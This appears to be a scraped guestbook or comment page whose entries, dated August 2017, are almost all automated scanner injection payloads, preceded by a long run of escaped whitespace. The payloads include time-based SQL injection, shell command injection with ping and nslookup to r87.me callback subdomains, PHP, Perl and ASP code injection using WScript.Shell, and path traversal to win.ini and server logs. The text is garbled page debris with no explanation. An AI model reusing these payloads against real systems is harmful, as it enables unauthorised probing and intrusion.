t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n |expr${IFS}268409241${IFS}-${IFS}2\r\n

\r\n
\r\n

'+print(int)0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n ((select sleep(25)))a-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n |nslookup${IFS}\"o010_rdnxu19k9chh5tbbyojxvthogj-bgugbpdu\"\"np8.r87.me\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \"&nslookup \"o010_rdnxud6pcldcpwfpwyqkkfj-ppegaokpyop\"\"v90.r87.me\"\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache2/error.log

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1\r\n

\r\n
\r\n

+print(int)0xFFF9999-22;//

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n '&nslookup \"o010_rdnxu3vfnc2mjmdsmqjf1_u4efyppjssgz3\"\"apw.r87.me\"\r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error_log

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n hTTp://r87.com/n\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|\"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR\"*/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n &nslookup \"o010_rdnxuywyz0nnht1rm1nopeh1zxovrslrvcc\"\"7j8.r87.me\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n nslookup \"o010_rdnxuyq6restihprsdjetv_0rnd_6gqctvt\"\"dny.r87.me\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error.log

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \"& nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&'\\\"`0&nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&`'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n '& nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&'\\\"`0&nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&`'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:48 AM\r\n

\r\n

\r\n 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n & nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&'\\\"`0&nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&`'\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&'\\\"`0&nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&`'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:46 AM\r\n

\r\n

\r\n \"+gethostbyname(lc 'o010_rdnxuc1kpaqluummwkxtdftvikqzwjbmnhf'.'lj4.r87.me')+\"\r\n

\r\n
\r\n

print(int)0xFFF9999-22;

\r\n

\r\n 8/23/2017 8:09:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:46 AM\r\n

\r\n

\r\n '+gethostbyname(lc 'o010_rdnxukwipnmwcjrkytxckegtjtyk2jayovs'.'cvw.r87.me')+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n eval('gethostbyname(lc 'o010_rdnxug9f9g-nzu2dlhbrkjok_u2i-yssk8n'.'jv4.r87.me')')\r\n

\r\n
\r\n

print(int)0xFFF9999-22

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n gethostbyname(lc 'o010_rdnxuwddhhgbmd88or-l3djvhd4dvihy94x'.'6bo.r87.me')\r\n

\r\n
\r\n

<% response.write(268409241-22) %>

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+response.write(268409241-22)+\"

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxucr_42triopl-fvdxyaved2d3dtea7p\" & \"hf8.r87.me\").StdOut.ReadAll+\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n expr 268409241 - 2\r\n

\r\n
\r\n

+response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n <%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuaakbzptetvtkyhcbhevkw_pofadg_p\" & \"asu.r87.me\").StdOut.ReadAll%>\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n 1)) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n +createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxumjo7pm0arhrb_jrdcjlrrfkdkeo1dq\" & \"olq.r87.me\").StdOut.ReadAll+\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n +createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxu46jg4wgbmtobm1eci9qjg6tt4vtgft\" & \"k80.r87.me\").StdOut.ReadAll\r\n

\r\n
\r\n

/../../../../../../../../../../windows/iis6.log

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n ping -w 25 127.0.0.1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuluwjl7qpa4o-rzvstjnss571afrgve\" & \"g44.r87.me\").StdOut.ReadAll\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:41 AM\r\n

\r\n

\r\n expr 268409241 - 2;\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:41 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:41 AM\r\n

\r\n

\r\n ')) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n ping -w 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n '{${gethostbyname(trim('o010_rdnxubxkmsnyneuncldd41-zkaquy4saeqr'.'mdy.r87.me'))}}'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n &ping -w 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n \"+gethostbyname(trim('o010_rdnxu76nwik58btklkeqwz1f2q6w5otgqqg'.'v7w.r87.me'))+\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n '&ping -w 25 127.0.0.1 &'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n '+gethostbyname(trim('o010_rdnxupij3a5-w7z80zwhe_ygrzgwgqlmgly'.'5ik.r87.me'))+'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n ;expr 268409241 - 2;x\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n ') WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \"&ping -w 25 127.0.0.1 &\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

\r\n +gethostbyname(trim('o010_rdnxurlfouvntkzt91dsoqoslqdfyg5umfw'.'kyi.r87.me'));//\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

